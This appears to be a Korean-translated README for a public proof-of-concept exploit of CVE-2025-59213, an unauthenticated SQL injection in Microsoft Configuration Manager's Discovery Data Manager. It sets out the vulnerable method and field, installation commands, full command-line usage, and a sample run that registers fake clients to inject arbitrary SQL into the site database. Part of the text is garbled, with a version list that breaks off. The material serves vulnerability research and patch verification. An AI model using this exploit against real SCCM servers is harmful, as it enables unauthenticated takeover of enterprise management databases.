
Microsoft Configuration Manager (SCCM) 2503에 대한 인증되지 않은 SQL injection 익스플로잇, Discovery Data Manager DDM 메서드를 통해 사이트 데이터베이스에서 임의의 SQL 실행을 가능하게 합니다.
이 스크립트는 CVE-2025-59213 취약점을 익스플로잇합니다. 이 취약점은 네트워크 접근이 가능한 인증되지 않은 공격자가 관리 지점(Management Point)에 접근하여, Discovery Data Manager (DDM)의 DuplicateAMTMachineRecord 메서드에서 SQL 인젝션 결함을 악용하여 사이트 데이터베이스에 임의의 SQL 쿼리를 실행할 수 있게 합니다. 이때 이스케이프되지 않은 Hardware_ID0 필드가 충돌하는 하드웨어 ID를 가진 두 클라이언트의 병합 중 부적절하게 처리됩니다.
KB34503790이 누락된 경우, 다음 Microsoft Configuration Manager 버전은 모두 취약합니다:
--altauth 스위치를 사용하세요 (자세한 정보는 여기)--no-clean 스위치를 사용하거나 패치가 정리 작업을 차단하지 않는 한 성공적인 SQL 인젝션 후 자동으로 이를 삭제합니다.저장소를 클론하고 의존성을 설치하여 설치할 수 있습니다.
$ git clone https://github.com/synacktiv/CVE-2025-59213
$ cd CVE-2025-59213
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
$ python3 CVE-2025-59213.py -h
usage: CVE-2025-59213.py [-h] -t TARGET [-sk SIGKEY] [-k KEY] [-c CERT] [-v] -cn CLIENT_NAME [-rs REGISTRATION_SLEEP] [-a] -sql SQL [-nc]
CVE-2025-59213 - Discovery Data Manager (DDM) Unauthenticated SQL Injection
options:
-h, --help show this help message and exit
-t, --target TARGET Target (http://sccm-mp.local/)
-sk, --sigkey SIGKEY SMS signature key (automatically generated if omitted)
-k, --key KEY Private key file for mTLS
-c, --cert CERT Certificate file for mTLS
-v, --verbose Verbose output, print requests
-cn, --client-name CLIENT_NAME
Name of the client that will be created in SCCM
-rs, --registration-sleep REGISTRATION_SLEEP
The amount of time, in seconds, that should be waited after registrating a new device (10 seconds by default)
-a, --altauth Use the MP's alternate authentication endpoint
-sql SQL Query to execute through the SQL injection
-nc, --no-clean Do not automatically clean the registred devices
$ python3 ./CVE-2025-59213.py -t https://cmc.corp.local --altauth -cn FAKE_CLIENT_NAME -sql 'select 1'
[+] Generated new signing key, saved to /tmp/sccm_poc.key
[+] CcmMessage : ID={D731ED0A-4474-497D-A191-D8948E17ECBF}
[+] Got SMSID = GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F for new client FAKE_CLIENT_NAME
[+] CcmMessage : ID={23EEE9B8-7971-4560-9D18-9328C5DF0C2E}
[+] Got SMSID = GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69 for new client FAKE_CLIENT_NAME
[+] Sending DDR report: SMSID=GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F OLDSMSID=GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69
[+] CcmMessage : ID={88B6BEBD-1F99-4BD2-8786-6BD3C6CFF299}
[+] CcmMessage : adding clientauth
[+] CcmMessage : adding attachment
[+] DDR report sent successfully